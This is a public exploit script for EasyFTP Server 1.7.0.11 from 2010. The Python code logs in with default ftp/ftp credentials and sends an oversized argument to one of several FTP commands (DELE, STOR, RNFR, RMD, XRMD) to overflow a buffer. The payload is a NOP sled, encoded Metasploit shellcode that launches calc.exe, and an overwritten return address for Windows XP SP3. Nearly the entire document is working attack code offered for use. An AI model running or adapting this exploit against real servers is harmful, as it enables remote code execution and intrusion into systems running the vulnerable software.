EasyFTP Server 1.7.0.11 – (Authenticated) Multiple Commands Remote Buffer Overflows
# Exploit Title: Easy FTP Server v1.7.0.11 Multiple Command Buffer Overflow # Date: August 12, 2010 # Author: Glafkos Charalambous # Software Link: http://easyftpsvr.googlecode.com/files/easyftp-server-1.7.0.11-en.zip # Version: 1.7.0.11 # Tested on: Windows XP SP3 En # Vulnerable Commands: DELE, STOR, RNFR, RMD, XRMD import socket import sys if len(sys.argv) != 4: print "Usage: ./easyftp.py <Target IP> <Port> <Command>" print "Vulnerable Commands: DELE, STOR, RNFR, RMD, XRMD" sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) command = sys.argv[3] buffersize = 268 # windows/exec - 227 bytes # http://www.metasploit.com # Encoder: x86/shikata_ga_nai # EXITFUNC=process, CMD=calc.exe shellcode = ("\xd9\xec\xba\x4c\x61\x82\xbc\xd9\x74\x24\xf4\x33\xc9\xb1\x33" "\x58\x31\x50\x17\x83\xe8\xfc\x03\x1c\x72\x60\x49\x60\x9c\xed" "\xb2\x98\x5d\x8e\x3b\x7d\x6c\x9c\x58\xf6\xdd\x10\x2a\x5a\xee" "\xdb\x7e\x4e\x65\xa9\x56\x61\xce\x04\x81\x4c\xcf\xa8\x0d\x02" "\x13\xaa\xf1\x58\x40\x0c\xcb\x93\x95\x4d\x0c\xc9\x56\x1f\xc5" "\x86\xc5\xb0\x62\xda\xd5\xb1\xa4\x51\x65\xca\xc1\xa5\x12\x60" "\xcb\xf5\x8b\xff\x83\xed\xa0\x58\x34\x0c\x64\xbb\x08\x47\x01" "\x08\xfa\x56\xc3\x40\x03\x69\x2b\x0e\x3a\x46\xa6\x4e\x7a\x60" "\x59\x25\x70\x93\xe4\x3e\x43\xee\x32\xca\x56\x48\xb0\x6c\xb3" "\x69\x15\xea\x30\x65\xd2\x78\x1e\x69\xe5\xad\x14\x95\x6e\x50" "\xfb\x1c\x34\x77\xdf\x45\xee\x16\x46\x23\x41\x26\x98\x8b\x3e" "\x82\xd2\x39\x2a\xb4\xb8\x57\xad\x34\xc7\x1e\xad\x46\xc8\x30" "\xc6\x77\x43\xdf\x91\x87\x86\xa4\x6e\xc2\x8b\x8c\xe6\x8b\x59" "\x8d\x6a\x2c\xb4\xd1\x92\xaf\x3d\xa9\x60\xaf\x37\xac\x2d\x77" "\xab\xdc\x3e\x12\xcb\x73\x3e\x37\xa8\x12\xac\xdb\x01\xb1\x54" "\x79\x5e") eip = "\x91\xC8\x41\x7E" nopsled = "\x90" * 16 junk = "\x90" * (buffersize-(len(nopsled)+len(shellcode))) payload = nopsled+shellcode+junk+eip s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: connect = s.connect((target, port)) print "[+] Connected" except: print "[!] Connection Failed" sys.exit(0) s.recv(1024) s.send('User ftp\r\n') s.recv(1024) s.send('PASS ftp\r\n') s.recv(1024) print "[+] Sending payload..." s.send(command +' '+payload+'\r\n') s.close() |